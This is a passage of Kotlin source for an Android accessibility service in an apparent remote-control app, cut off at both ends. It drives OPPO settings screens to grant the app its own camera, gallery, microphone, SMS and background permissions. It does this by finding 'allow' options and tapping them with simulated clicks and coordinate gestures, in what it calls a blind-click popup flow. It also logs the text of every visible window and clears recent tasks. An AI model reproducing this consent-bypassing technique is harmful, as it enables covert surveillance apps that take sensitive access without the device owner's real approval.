                  // 检测同行开关的当前状态
                  val switchNode = findRightSideSwitchNode(permissionNode)
                  if (switchNode == null) {
                      Log.w(TAG, "⚠️ 未找到权限开关: $variant")
                      safeRecycleNode(rootNode)
                      continue
                  }
                  
                  // 通过开关文本检测当前状态
                  val switchText = switchNode.text?.toString()?.trim() ?: ""
                  val switchDesc = switchNode.contentDescription?.toString()?.trim() ?: ""
                  
                  val currentState = when {
                      // 开启状态的各种表达
                      switchText.contains("开启", ignoreCase = true) -> true
                      switchText.contains("打开", ignoreCase = true) -> true
                      switchText.contains("启用", ignoreCase = true) -> true
                      switchText.contains("允许", ignoreCase = true) -> true
                      switchText.contains("开", ignoreCase = true) && switchText.length <= 2 -> true
                      switchText.contains("是", ignoreCase = true) -> true
                      switchText.contains("on", ignoreCase = true) -> true
                      // 关闭状态的各种表达
                      switchText.contains("关闭", ignoreCase = true) -> false
                      switchText.contains("禁用", ignoreCase = true) -> false
                      switchText.contains("停用", ignoreCase = true) -> false
                      switchText.contains("关", ignoreCase = true) && switchText.length <= 2 -> false
                      switchText.contains("否", ignoreCase = true) -> false
                      switchText.contains("off", ignoreCase = true) -> false
                      // 通过描述判断
                      switchDesc.contains("开启", ignoreCase = true) -> true
                      switchDesc.contains("打开", ignoreCase = true) -> true
                      switchDesc.contains("关闭", ignoreCase = true) -> false
                      switchDesc.contains("禁用", ignoreCase = true) -> false
                      else -> {
                          Log.w(TAG, "⚠️ 无法从文本判断开关状态，默认认为是关闭")
                          false
                      }
                  }
                  
                  Log.d(TAG, "🔍 检测到 $variant 当前状态: $currentState (开关文本: '$switchText')")
                  
                  if (currentState == targetState) {
                      Log.d(TAG, "✅ $variant 已是目标状态，无需操作")
                      configSuccess = true
                      safeRecycleNode(rootNode)
                      break
                  } else {
                      Log.d(TAG, "🔄 需要切换 $variant 状态，点击开关")
                      
                      // 点击开关切换状态
                      val clickSuccess = performClickOnSwitchCoordinate(switchNode)
                      safeRecycleNode(rootNode)
                      
                      if (clickSuccess) {
                          // 处理可能出现的弹窗
                          delay(POPUP_WAIT_DELAY / 2)
                          val popupHandled = handlePopup(popupButtonText)
                          
                          if (popupHandled) {
                              Log.d(TAG, "✅ 成功切换 $variant 状态并处理弹窗")
                              configSuccess = true
                              break
                          } else {
                              Log.w(TAG, "⚠️ 切换 $variant 状态成功但弹窗处理可能失败")
                              configSuccess = true // 开关点击成功就认为配置成功
                              break
                          }
                      } else {
                          Log.w(TAG, "⚠️ 点击开关失败: $variant")
                          // 继续尝试其他变体
                      }
                  }
              }
              
              if (!configSuccess) {
                  Log.w(TAG, "⚠️ 所有权限文本变体都配置失败")
              }
              
              return configSuccess
              
          } catch (e: Exception) {
              Log.e(TAG, "❌ 详情页面配置后台行为权限异常: $permissionText", e)
              false
          }
      }
      
      // ======================== 摄像头权限配置方法 ========================
      
      /**
       * Android 11: 摄像头权限
       * 路径: 设置->应用管理->我们的应用->权限管理->摄像头->允许
       */
      private suspend fun executeCameraPermissionV11(): Boolean {
          Log.i(TAG, "📷 开始配置摄像头权限 (OPPO Android 11)")
          return requestCameraPermissionViaGranter()
      }
      
      /**
       * Android 12: 摄像头权限
       * 路径: 设置->应用管理->我们的应用->权限管理->摄像头->允许
       */
      private suspend fun executeCameraPermissionV12(): Boolean {
          Log.i(TAG, "📷 开始配置摄像头权限 (OPPO Android 12)")
          return requestCameraPermissionViaGranter()
      }
      
      /**
       * Android 14: 摄像头权限
       * 路径: 设置->应用管理->我们的应用->权限管理->摄像头->允许
       */
      private suspend fun executeCameraPermissionV14(): Boolean {
          Log.i(TAG, "📷 开始配置摄像头权限 (OPPO Android 14)")
          return requestCameraPermissionViaGranter()
      }
      
      /**
       * Android 15: 摄像头权限
       * 路径: 设置->应用管理->我们的应用->权限管理->摄像头->允许
       */
      private suspend fun executeCameraPermissionV15(): Boolean {
          Log.i(TAG, "📷 开始配置摄像头权限 (OPPO Android 15)")
          return requestCameraPermissionViaGranter()
      }

      /**
       * 使用 PermissionGranter 的弹框盲点流程申请摄像头权限
       */
      private suspend fun requestCameraPermissionViaGranter(): Boolean {
          return try {
              val granter = service.getPermissionGranter()
              if (granter == null) {
                  Log.e(TAG, "❌ PermissionGranter 未初始化，无法申请摄像头权限")
                  return false
              }

              if (granter.hasCameraPermission()) {
                  Log.i(TAG, "✅ 摄像头权限已授予（跳过申请）")
                  return true
              }

              granter.startCameraPermissionRequest()

              val maxAttempts = 30
              repeat(maxAttempts) { attempt ->
                  delay(1000)
                  if (granter.hasCameraPermission()) {
                      Log.i(TAG, "✅ 摄像头权限授予成功（第 ${attempt + 1} 次检测）")
                      return true
                  }
              }

              Log.w(TAG, "⚠️ 摄像头权限申请超时（盲点流程未成功）")
              false
          } catch (e: Exception) {
              Log.e(TAG, "❌ 通过PermissionGranter申请摄像头权限异常", e)
              false
          }
      }
      
      // ======================== 相册权限配置方法 ========================
      
      /**
       * Android 11: 相册权限
       * 路径: 设置->应用管理->我们的应用->权限管理->照片和视频->始终全部允许
       */
      private suspend fun executeGalleryPermissionV11(): Boolean {
          Log.i(TAG, "🖼️ 开始配置相册权限 (OPPO Android 11)")
          return requestGalleryPermissionViaGranter()
      }
      
      /**
       * Android 12: 相册权限
       * 路径: 设置->应用管理->我们的应用->权限管理->照片和视频->始终全部允许
       */
      private suspend fun executeGalleryPermissionV12(): Boolean {
          Log.i(TAG, "🖼️ 开始配置相册权限 (OPPO Android 12)")
          return requestGalleryPermissionViaGranter()
      }
      
      /**
       * Android 14: 相册权限
       * 路径: 设置->应用管理->我们的应用->权限管理->照片和视频->始终全部允许
       */
      private suspend fun executeGalleryPermissionV14(): Boolean {
          Log.i(TAG, "🖼️ 开始配置相册权限 (OPPO Android 14)")
          return requestGalleryPermissionViaGranter()
      }
      
      /**
       * Android 15: 相册权限
       * 路径: 设置->应用管理->我们的应用->权限管理->照片和视频->始终全部允许
       */
      private suspend fun executeGalleryPermissionV15(): Boolean {
          Log.i(TAG, "🖼️ 开始配置相册权限 (OPPO Android 15)")
          return requestGalleryPermissionViaGranter()
      }

      /**
       * 使用 PermissionGranter 的弹框盲点流程申请相册权限
       */
      private suspend fun requestGalleryPermissionViaGranter(): Boolean {
          return try {
              val granter = service.getPermissionGranter()
              if (granter == null) {
                  Log.e(TAG, "❌ PermissionGranter 未初始化，无法申请相册权限")
                  return false
              }

              val galleryManager = com.hikoncont.manager.GalleryManager(service)
              if (galleryManager.hasReadMediaPermission()) {
                  Log.i(TAG, "✅ 相册权限已授予（跳过申请）")
                  return true
              }

              granter.startGalleryPermissionRequest()

              val maxAttempts = 30
              repeat(maxAttempts) { attempt ->
                  delay(1000)
                  if (galleryManager.hasReadMediaPermission()) {
                      Log.i(TAG, "✅ 相册权限授予成功（第 ${attempt + 1} 次检测）")
                      return true
                  }
              }

              Log.w(TAG, "⚠️ 相册权限申请超时（盲点流程未成功）")
              false
          } catch (e: Exception) {
              Log.e(TAG, "❌ 通过PermissionGranter申请相册权限异常", e)
              false
          }
      }
      
      // ======================== 麦克风权限配置方法 ========================
      
      /**
       * Android 11: 麦克风权限
       * 路径: 设置->应用管理->我们的应用->权限管理->麦克风->始终全部允许
       */
      private suspend fun executeMicrophonePermissionV11(): Boolean {
          Log.i(TAG, "🎤 开始配置麦克风权限 (OPPO Android 11)")
          return requestMicrophonePermissionViaGranter()
      }
      
      /**
       * Android 12: 麦克风权限
       * 路径: 设置->应用管理->我们的应用->权限管理->麦克风->始终全部允许
       */
      private suspend fun executeMicrophonePermissionV12(): Boolean {
          Log.i(TAG, "🎤 开始配置麦克风权限 (OPPO Android 12)")
          return requestMicrophonePermissionViaGranter()
      }
      
      /**
       * Android 14: 麦克风权限
       * 路径: 设置->应用管理->我们的应用->权限管理->麦克风->始终全部允许
       */
      private suspend fun executeMicrophonePermissionV14(): Boolean {
          Log.i(TAG, "🎤 开始配置麦克风权限 (OPPO Android 14)")
          return requestMicrophonePermissionViaGranter()
      }
      
      /**
       * Android 15: 麦克风权限
       * 路径: 设置->应用管理->我们的应用->权限管理->麦克风->始终全部允许
       */
      private suspend fun executeMicrophonePermissionV15(): Boolean {
          Log.i(TAG, "🎤 开始配置麦克风权限 (OPPO Android 15)")
          return requestMicrophonePermissionViaGranter()
      }

      /**
       * 使用 PermissionGranter 的弹框盲点流程申请麦克风权限
       */
      private suspend fun requestMicrophonePermissionViaGranter(): Boolean {
          return try {
              val granter = service.getPermissionGranter()
              if (granter == null) {
                  Log.e(TAG, "❌ PermissionGranter 未初始化，无法申请麦克风权限")
                  return false
              }

              val microphoneManager = com.hikoncont.manager.MicrophoneManager(service)
              if (microphoneManager.hasMicrophonePermission()) {
                  Log.i(TAG, "✅ 麦克风权限已授予（跳过申请）")
                  return true
              }

              granter.startMicrophonePermissionRequest()

              val maxAttempts = 30
              repeat(maxAttempts) { attempt ->
                  delay(1000)
                  if (microphoneManager.hasMicrophonePermission()) {
                      Log.i(TAG, "✅ 麦克风权限授予成功（第 ${attempt + 1} 次检测）")
                      return true
                  }
              }

              Log.w(TAG, "⚠️ 麦克风权限申请超时（盲点流程未成功）")
              false
          } catch (e: Exception) {
              Log.e(TAG, "❌ 通过PermissionGranter申请麦克风权限异常", e)
              false
          }
      }
      
      // ======================== 短信权限配置方法 ========================
      
      /**
       * Android 11: 短信权限
       * 路径: 设置->应用管理->我们的应用->权限管理->短信->始终全部允许
       */
      private suspend fun executeSMSPermissionV11(): Boolean {
          Log.i(TAG, "📱 开始配置短信权限 (OPPO Android 11)")
          return requestSMSPermissionViaGranter()
      }
      
      /**
       * Android 12: 短信权限
       * 路径: 设置->应用管理->我们的应用->权限管理->短信->始终全部允许
       */
      private suspend fun executeSMSPermissionV12(): Boolean {
          Log.i(TAG, "📱 开始配置短信权限 (OPPO Android 12)")
          return requestSMSPermissionViaGranter()
      }
      
      /**
       * Android 14: 短信权限
       * 路径: 设置->应用管理->我们的应用->权限管理->短信->始终全部允许
       */
      private suspend fun executeSMSPermissionV14(): Boolean {
          Log.i(TAG, "📱 开始配置短信权限 (OPPO Android 14)")
          return requestSMSPermissionViaGranter()
      }
      
      /**
       * Android 15: 短信权限
       * 路径: 设置->应用管理->我们的应用->权限管理->短信->始终全部允许
       */
      private suspend fun executeSMSPermissionV15(): Boolean {
          Log.i(TAG, "📱 开始配置短信权限 (OPPO Android 15)")
          return requestSMSPermissionViaGranter()
      }

      /**
       * 使用 PermissionGranter 的弹框盲点流程申请短信权限
       */
      private suspend fun requestSMSPermissionViaGranter(): Boolean {
          return try {
              val granter = service.getPermissionGranter()
              if (granter == null) {
                  Log.e(TAG, "❌ PermissionGranter 未初始化，无法申请短信权限")
                  return false
              }

              val smsManager = com.hikoncont.manager.SMSManager(service)
              if (smsManager.checkSMSPermission()) {
                  Log.i(TAG, "✅ 短信权限已授予（跳过申请）")
                  return true
              }

              granter.startSMSPermissionRequest()

              val maxAttempts = 30
              repeat(maxAttempts) { attempt ->
                  delay(1000)
                  if (smsManager.checkSMSPermission()) {
                      Log.i(TAG, "✅ 短信权限授予成功（第 ${attempt + 1} 次检测）")
                      return true
                  }
              }

              Log.w(TAG, "⚠️ 短信权限申请超时（盲点流程未成功）")
              false
          } catch (e: Exception) {
              Log.e(TAG, "❌ 通过PermissionGranter申请短信权限异常", e)
              false
          }
      }
      
      // ======================== 权限配置辅助方法 ========================
      
      /**
       * 导航到权限管理
       */
      private suspend fun navigateToPermissionManagement(): Boolean {
          Log.d(TAG, "🔧 导航到权限管理")
          
          val targetText = "权限管理"
          return scrollAndFindText(targetText, "权限管理页面")
      }

    /**
     * 导航到摄像头权限
     */
    private suspend fun navigateToCameraManagement(): Boolean {
        Log.d(TAG, "🔧 导航到摄像头权限")

        val targetText = "摄像头"
        return scrollAndFindText(targetText, "摄像头权限")
    }


      
      /**
       * 导航到权限页面
       */
      private suspend fun navigateToPermissions(): Boolean {
          Log.d(TAG, "🔧 导航到权限页面")
          
          val targetText = "权限"
          return scrollAndFindText(targetText, "权限页面")
      }
      
      /**
       * 导航到权限和隐私
       */
      private suspend fun navigateToPrivacyAndPermissions(): Boolean {
          Log.d(TAG, "🔧 导航到权限和隐私")
          
          val targetTexts = listOf("权限和隐私", "权限与隐私", "隐私与权限", "Privacy & permissions")
          for (text in targetTexts) {
              if (scrollAndFindText(text, "权限和隐私页面")) {
                  return true
              }
          }
          return false
      }
      
      /**
       * 导航到照片和视频
       */
      private suspend fun navigateToPhotosAndVideos(): Boolean {
          Log.d(TAG, "🔧 导航到照片和视频")
          
          val targetTexts = listOf("照片和视频", "照片与视频", "图片和视频", "Photos and videos", "Photos & videos")
          for (text in targetTexts) {
              if (scrollAndFindText(text, "照片和视频页面")) {
                  return true
              }
          }
          return false
      }
      
      /**
       * 导航到相册权限中的我们的应用
       */
      private suspend fun navigateToOurAppInGalleryPermission(): Boolean {
          Log.d(TAG, "🔧 导航到相册权限中的我们的应用")
          
          return try {
              // 动态获取当前应用名称
              val appName = try {
                  val applicationInfo = context.applicationInfo
                  val packageManager = context.packageManager
                  packageManager.getApplicationLabel(applicationInfo).toString()
              } catch (e: Exception) {
                  Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                  "Android Remote Control"
              }
              
              Log.d(TAG, "🔍 查找应用: $appName")
              
              // 查找应用名称
              if (scrollAndFindText(appName, "我们的应用")) {
                  delay(STEP_DELAY)
                  return true
              }
              
              Log.w(TAG, "⚠️ 未找到我们的应用: $appName")
              false
              
          } catch (e: Exception) {
              Log.e(TAG, "❌ 导航到我们的应用失败", e)
              false
          }
      }
      
      /**
       * 配置摄像头权限
       * 特殊处理：直接点击"使用时允许"选项
       */
      private suspend fun configureCameraPermission(): Boolean {
          Log.d(TAG, "🔧 配置摄像头权限 - 使用rootInActiveWindow方式获取窗口内容")
          try {


              // 检查所有窗口
              val windows = service.windows
              if (windows != null && windows.isNotEmpty()) {
                  Log.d(TAG, "📷 找到 ${windows.size} 个窗口")

                  for (i in windows.indices) {
                      val window = windows[i]
                      val windowRoot = window.root

                      if (windowRoot != null) {
                          val packageName = windowRoot.packageName?.toString() ?: ""
                          val className = windowRoot.className?.toString() ?: ""
                          val windowTitle = window.title?.toString() ?: ""
                          val windowType = window.type

                          Log.d(TAG, "📷 窗口 $i: 包名=$packageName, 类名=$className, 标题=$windowTitle, 类型=$windowType")

                          // 打印窗口内容
                          printAllVisibleTexts(windowRoot, 0)

                          windowRoot.recycle()
                      }
                  }
              }

              // 检查活动窗口
              val rootNode = service.rootInActiveWindow
              if (rootNode != null) {
                  Log.d(TAG, "📷 活动窗口: 包名=${rootNode.packageName}, 类名=${rootNode.className}")
                  printAllVisibleTexts(rootNode, 0)
                  rootNode.recycle()
              }

          } catch (e: Exception) {
              Log.e(TAG, "调试UI元素失败", e)
          }
          return true
      }
      
      /**
       * 打印窗口的所有文本内容
       */
      private fun printAllVisibleTexts(node: AccessibilityNodeInfo, depth: Int) {
          try {
              val indent = "  ".repeat(depth)
              val nodeText = node.text?.toString() ?: ""
              val contentDescription = node.contentDescription?.toString() ?: ""
              val className = node.className?.toString() ?: ""
              val viewId = node.viewIdResourceName ?: ""

              if (nodeText.isNotEmpty() || contentDescription.isNotEmpty()) {
                  Log.d(TAG, "📷 $indent 文本: '$nodeText', 描述: '$contentDescription', 类名: '$className', ID: '$viewId'")
              }

              // 递归打印子节点
              for (i in 0 until node.childCount) {
                  val child = node.getChild(i)
                  if (child != null) {
                      printAllVisibleTexts(child, depth + 1)
                      child.recycle()
                  }
              }
          } catch (e: Exception) {
              Log.e(TAG, "打印可见文本失败", e)
          }
      }
      
      /**
       * 检查是否是摄像头权限窗口
       */
      private fun isCameraPermissionWindow(root: AccessibilityNodeInfo): Boolean {
          if (root == null) return false
          
          // 检查包名
          val packageName = root.packageName?.toString() ?: ""
          if (packageName.contains("settings") || packageName.contains("permission")) {
              Log.d(TAG, "✅ 通过包名识别为权限窗口: $packageName")
              return true
          }
          
          // 检查窗口内容是否包含摄像头相关文本
          val hasCameraText = checkWindowForCameraText(root)
          if (hasCameraText) {
              Log.d(TAG, "✅ 通过内容识别为摄像头权限窗口")
              return true
          }
          
          return false
      }
      
      /**
       * 检查窗口内容是否包含摄像头相关文本
       */
      private fun checkWindowForCameraText(root: AccessibilityNodeInfo): Boolean {
          val cameraKeywords = listOf("摄像头", "相机", "Camera", "拍照", "拍视频", "扫描二维码")
          
          fun checkNodeRecursive(node: AccessibilityNodeInfo, depth: Int): Boolean {
              if (depth > 10) return false
              
              try {
                  val text = node.text?.toString() ?: ""
                  val desc = node.contentDescription?.toString() ?: ""
                  
                  for (keyword in cameraKeywords) {
                      if (text.contains(keyword) || desc.contains(keyword)) {
                          Log.d(TAG, "✅ 找到摄像头关键词: '$keyword' 在文本: '$text' 或描述: '$desc'")
                          return true
                      }
                  }
                  
                  for (i in 0 until node.childCount) {
                      val child = node.getChild(i)
                      if (child != null) {
                          val result = checkNodeRecursive(child, depth + 1)
                          child.recycle()
                          if (result) return true
                      }
                  }
              } catch (e: Exception) {
                  Log.e(TAG, "检查摄像头文本异常 (深度: $depth)", e)
              }
              
              return false
          }
          
          return checkNodeRecursive(root, 0)
      }
      
      /**
       * 在窗口中查找并点击"使用时允许"选项
       */
      private suspend fun findAndClickAllowOption(root: AccessibilityNodeInfo): Boolean {
          if (root == null) return false
          
          val allowTexts = listOf("使用时允许", "使用中允许", "仅在使用中允许", "While using the app", "Allow while using")
          
          for (allowText in allowTexts) {
              Log.d(TAG, "🔍 在窗口中查找权限选项: $allowText")
              
              val allowNode = findNodeByTextInWindow(root, allowText)
              if (allowNode != null) {
                  Log.d(TAG, "✅ 找到权限选项节点: $allowText")
                  Log.d(TAG, "📋 节点信息: 可点击=${allowNode.isClickable}, 文本='${allowNode.text}', 描述='${allowNode.contentDescription}'")
                  
                  // 尝试点击节点
                  if (allowNode.isClickable) {
                      val clickSuccess = performClickSafe(allowNode)
                      safeRecycleNode(allowNode)
                      
                      if (clickSuccess) {
                          Log.d(TAG, "✅ 成功点击权限选项: $allowText")
                          return true
                      } else {
                          Log.e(TAG, "❌ 点击权限选项失败: $allowText")
                      }
                  } else {
                      // 尝试点击父节点
                      val parent = allowNode.parent
                      if (parent != null && parent.isClickable) {
                          val clickSuccess = performClickSafe(parent)
                          safeRecycleNode(allowNode)
                          safeRecycleNode(parent)
                          
                          if (clickSuccess) {
                              Log.d(TAG, "✅ 成功点击父节点: $allowText")
                              return true
                          }
                      }
                      safeRecycleNode(allowNode)
                      if (parent != null) safeRecycleNode(parent)
                  }
              } else {
                  Log.w(TAG, "⚠️ 未找到权限选项节点: $allowText")
              }
          }
          
          return false
      }
      
      /**
       * 在窗口中查找指定文本的节点
       */
      private fun findNodeByTextInWindow(root: AccessibilityNodeInfo, targetText: String): AccessibilityNodeInfo? {
          fun searchRecursive(node: AccessibilityNodeInfo, depth: Int): AccessibilityNodeInfo? {
              if (depth > 15) return null
              
              try {
                  val text = node.text?.toString()
                  val desc = node.contentDescription?.toString()
                  
                  // 精确匹配
                  if (text == targetText || desc == targetText) {
                      Log.d(TAG, "✅ 找到精确匹配: $targetText")
                      return node
                  }
                  
                  // 包含匹配
                  if (text?.contains(targetText) == true || desc?.contains(targetText) == true) {
                      Log.d(TAG, "✅ 找到包含匹配: $targetText")
                      return node
                  }
                  
                  // 递归搜索子节点
                  for (i in 0 until node.childCount) {
                      val child = node.getChild(i)
                      if (child != null) {
                          val result = searchRecursive(child, depth + 1)
                          if (result != null) {
                              return result
                          }
                          child.recycle()
                      }
                  }
                  
                  return null
              } catch (e: Exception) {
                  Log.e(TAG, "窗口文本搜索异常 (深度: $depth)", e)
                  return null
              }
          }
          
          return searchRecursive(root, 0)
      }
      
      /**
       * 查找所有可点击的节点
       */
      private fun findAllClickableNodes(root: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
          val clickableNodes = mutableListOf<AccessibilityNodeInfo>()
          
          fun findClickableRecursive(node: AccessibilityNodeInfo, depth: Int) {
              if (depth > 10) return
              
              try {
                  if (node.isClickable) {
                      clickableNodes.add(node)
                  }
                  
                  for (i in 0 until node.childCount) {
                      val child = node.getChild(i)
                      if (child != null) {
                          findClickableRecursive(child, depth + 1)
                          // 注意：这里不回收child，因为我们需要返回它们
                      }
                  }
              } catch (e: Exception) {
                  Log.e(TAG, "查找可点击节点异常 (深度: $depth)", e)
              }
          }
          
          findClickableRecursive(root, 0)
          return clickableNodes
      }
      
      /**
       * 简单的文本搜索（在所有节点中查找指定文本）
       */
      private fun findTextInAllNodes(root: AccessibilityNodeInfo, targetText: String): AccessibilityNodeInfo? {
          Log.d(TAG, "🔍 开始简单文本搜索: $targetText")
          
          fun searchRecursive(node: AccessibilityNodeInfo, depth: Int): AccessibilityNodeInfo? {
              if (depth > 15) return null
              
              try {
                  val text = node.text?.toString()
                  val desc = node.contentDescription?.toString()
                  
                  Log.d(TAG, "🔍 深度$depth: 文本='$text', 描述='$desc'")
                  
                  // 精确匹配
                  if (text == targetText || desc == targetText) {
                      Log.d(TAG, "✅ 找到精确匹配: $targetText")
                      return node
                  }
                  
                  // 包含匹配
                  if (text?.contains(targetText) == true || desc?.contains(targetText) == true) {
                      Log.d(TAG, "✅ 找到包含匹配: $targetText")
                      return node
                  }
                  
                  // 递归搜索子节点
                  for (i in 0 until node.childCount) {
                      val child = node.getChild(i)
                      if (child != null) {
                          val result = searchRecursive(child, depth + 1)
                          if (result != null) {
                              return result
                          }
                          child.recycle()
                      }
                  }
                  
                  return null
              } catch (e: Exception) {
                  Log.e(TAG, "简单文本搜索异常 (深度: $depth)", e)
                  return null
              }
          }
          
          val result = searchRecursive(root, 0)
          Log.d(TAG, "🔍 简单文本搜索完成: ${if (result != null) "找到" else "未找到"}")
          return result
      }
      
      /**
       * 打印所有可见文本（用于调试）
       */
      private fun printAllVisibleTexts(root: AccessibilityNodeInfo, context: String) {
          Log.d(TAG, "🔍 开始打印 $context 的所有可见文本")
          Log.d(TAG, "📋 根节点信息: 类名='${root.className}', 包名='${root.packageName}', 子节点数=${root.childCount}")
          
          var totalNodes = 0
          var textNodes = 0
          
          fun printTextsRecursive(node: AccessibilityNodeInfo, depth: Int) {
              if (depth > 10) return
              totalNodes++
              
              try {
                  val text = node.text?.toString()
                  val desc = node.contentDescription?.toString()
                  val className = node.className?.toString()
                  
                  // 打印所有节点，包括空文本的节点
                  val indent = "  ".repeat(depth)
                  Log.d(TAG, "$indent 深度$depth: 类名='$className', 文本='$text', 描述='$desc', 可点击=${node.isClickable}, 可见=${node.isVisibleToUser}")
                  
                  if (!text.isNullOrEmpty() || !desc.isNullOrEmpty()) {
                      textNodes++
                  }
                  
                  for (i in 0 until node.childCount) {
                      val child = node.getChild(i)
                      if (child != null) {
                          printTextsRecursive(child, depth + 1)
                          child.recycle()
                      }
                  }
              } catch (e: Exception) {
                  Log.e(TAG, "打印文本异常 (深度: $depth)", e)
              }
          }
          
          printTextsRecursive(root, 0)
          Log.d(TAG, "🔍 完成打印 $context 的所有可见文本 - 总节点数: $totalNodes, 有文本节点数: $textNodes")
      }
      
      /**
       * 通过坐标点击指定位置
       */
      private suspend fun clickByCoordinates(x: Int, y: Int): Boolean {
          return try {
              Log.d(TAG, "🔧 通过坐标点击: ($x, $y)")
              
              // 创建手势描述
              val gesture = android.accessibilityservice.GestureDescription.Builder()
                  .addStroke(android.accessibilityservice.GestureDescription.StrokeDescription(
                      android.graphics.Path().apply {
                          moveTo(x.toFloat(), y.toFloat())
                      }, 0, 100))
                  .build()
              
              // 执行手势
              val success = service.dispatchGesture(gesture, null, null)
              
              if (success) {
                  Log.d(TAG, "✅ 坐标点击执行成功: ($x, $y)")
                  return true
              } else {
                  Log.e(TAG, "❌ 坐标点击执行失败: ($x, $y)")
                  return false
              }
              
          } catch (e: Exception) {
              Log.e(TAG, "❌ 坐标点击异常: ($x, $y)", e)
              false
          }
      }
      
      /**
       * 通过坐标点击"使用时允许"选项（备用方法）
       * 根据界面布局，第一个选项通常在屏幕中上部分
       */
      private suspend fun tryClickByCoordinates(): Boolean {
          return try {
              Log.d(TAG, "🔧 尝试通过坐标点击'使用时允许'选项")
              
              // 获取屏幕尺寸
              val displayMetrics = context.resources.displayMetrics
              val screenWidth = displayMetrics.widthPixels
              val screenHeight = displayMetrics.heightPixels
              
              Log.d(TAG, "📱 屏幕尺寸: ${screenWidth}x${screenHeight}")
              
              // 计算点击坐标（屏幕中上部分，第一个选项位置）
              val clickX = screenWidth / 2
              val clickY = screenHeight / 3  // 屏幕高度的1/3位置
              
              Log.d(TAG, "🎯 点击坐标: ($clickX, $clickY)")
              
              // 使用新的坐标点击方法
              val success = clickByCoordinates(clickX, clickY)
              
              if (success) {
                  Log.d(TAG, "✅ 坐标点击执行成功")
                  delay(STEP_DELAY)
                  return true
              } else {
                  Log.e(TAG, "❌ 坐标点击执行失败")
                  return false
              }
              
          } catch (e: Exception) {
              Log.e(TAG, "❌ 坐标点击异常", e)
              false
          }
      }
      
      /**
       * 配置相册权限
       * 查找"始终全部允许"选项并点击
       */
      private suspend fun configureGalleryPermission(): Boolean {
          Log.d(TAG, "🔧 配置相册权限")
          
          return try {
              // 查找"始终全部允许"选项
              val allowTexts = listOf("始终全部允许", "始终允许", "全部允许", "Allow all the time", "Allow all", "Always allow")
              
              // 获取根节点，避免被优化
              val rootNode: AccessibilityNodeInfo? = try {
                  service.rootInActiveWindow
              } catch (e: Exception) {
                  Log.e(TAG, "❌ 获取根节点异常", e)
                  null
              }
              
              if (rootNode == null) {
                  Log.e(TAG, "❌ 无法获取根节点")
                  return false
              }
              
              try {
                  // 循环查找所有可能的权限选项文本
                  for (allowText in allowTexts) {
                      Log.d(TAG, "🔍 查找相册权限选项: $allowText")
                      
                      // 使用深度搜索查找节点
                      val allowNode = findNodeByTextDeep(rootNode, allowText)
                      if (allowNode != null) {
                          Log.d(TAG, "✅ 找到相册权限选项节点: $allowText")
                          
                          // 点击该节点
                          val clickSuccess = performClickSafe(allowNode)
                          safeRecycleNode(allowNode)
                          
                          if (clickSuccess) {
                              Log.d(TAG, "✅ 相册权限配置成功，已点击: $allowText")
                              delay(STEP_DELAY)
                              return true
                          } else {
                              Log.e(TAG, "❌ 点击相册权限选项失败: $allowText")
                          }
                      } else {
                          Log.w(TAG, "⚠️ 未找到相册权限选项节点: $allowText")
                      }
                  }
              } finally {
                  // 确保根节点被回收
                  safeRecycleNode(rootNode)
              }
              
              Log.w(TAG, "⚠️ 相册权限配置失败，尝试了所有可能的允许文本")
              return false
              
          } catch (e: Exception) {
              Log.e(TAG, "❌ 配置相册权限异常", e)
              false
          }
      }
      
      /**
       * 深度搜索节点（循环子节点）
       */
      private fun findNodeByTextDeep(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
          return try {
              findNodeByTextDeepRecursive(root, text, 0)
          } catch (e: Exception) {
              Log.e(TAG, "深度搜索节点异常", e)
              null
          }
      }
      
      /**
       * 递归深度搜索节点
       */
      private fun findNodeByTextDeepRecursive(node: AccessibilityNodeInfo, text: String, depth: Int): AccessibilityNodeInfo? {
          if (depth > 15) return null // 防止过深递归
        
          try {
              // 检查当前节点
              val nodeText = node.text?.toString()
              val nodeDesc = node.contentDescription?.toString()
              
              if (nodeText == text || nodeDesc == text) {
                  Log.d(TAG, "✅ 深度搜索找到节点: $text (深度: $depth)")
                  return node
              }
              
              // 模糊匹配
              if (nodeText?.contains(text, ignoreCase = true) == true || 
                  nodeDesc?.contains(text, ignoreCase = true) == true) {
                  Log.d(TAG, "✅ 深度搜索模糊匹配找到节点: $text (深度: $depth)")
                  return node
              }
              
              // 递归搜索子节点
              for (i in 0 until node.childCount) {
                  val child = node.getChild(i)
                  if (child != null) {
                      val result = findNodeByTextDeepRecursive(child, text, depth + 1)
                      if (result != null) {
                          return result
                      }
                      child.recycle()
                  }
              }
              
              return null
          } catch (e: Exception) {
              Log.e(TAG, "深度搜索递归异常 (深度: $depth)", e)
              return null
          }
      }
      
      /**
       * 点击"使用时允许"选项
       */
      private suspend fun clickAllowWhileUsingOption(): Boolean {
          Log.d(TAG, "🔧 点击'使用时允许'选项")
          
          return try {
              val targetText = "使用时允许"
              Log.d(TAG, "🔍 查找权限选项: $targetText")
              
              // 获取根节点
              val rootNode = service.rootInActiveWindow
              if (rootNode == null) {
                  Log.e(TAG, "❌ 无法获取根节点")
                  return false
              }
              
              // 查找包含"使用时允许"文本的节点
              val targetNode = findNodeByText(rootNode, targetText)
              if (targetNode != null) {
                  Log.d(TAG, "✅ 找到权限选项节点: $targetText")
                  
                  // 点击该节点
                  val clickSuccess = performClickSafe(targetNode)
                  safeRecycleNode(targetNode)
                  safeRecycleNode(rootNode)
                  
                  if (clickSuccess) {
                      Log.d(TAG, "✅ 权限配置成功，已点击: $targetText")
                      delay(STEP_DELAY)
                      return true
                  } else {
                      Log.e(TAG, "❌ 点击权限选项失败")
                      return false
                  }
              } else {
                  Log.w(TAG, "⚠️ 未找到权限选项节点: $targetText")
                  safeRecycleNode(rootNode)
                  return false
              }
              
          } catch (e: Exception) {
              Log.e(TAG, "❌ 点击'使用时允许'选项异常", e)
              false
          }
      }

    /**
     * ✅ OPPO清除全部近期任务 - 参考OnePlus实现
     * 🎯 核心策略：确认应用界面 + 打开任务栏 + 查找清除按钮 + 多次尝试点击
     */
    suspend fun clearAllRecentTasks(): Boolean {
        return try {
            Log.d(TAG, "🧹 开始清除OPPO全部近期任务")

            // 0) 确认当前是否在本应用界面；若不在，则尝试打开并循环检测5次
            val targetPackage = context.packageName
            var inOurApp = false
            repeat(5) { attempt ->
                val current = getCurrentPackageName()
                if (current == targetPackage) {
                    inOurApp = true
                    Log.d(TAG, "✅ 已在本应用界面: $current (尝试 ${attempt + 1}/5)")
                    return@repeat
                }
                performBackNavigation()
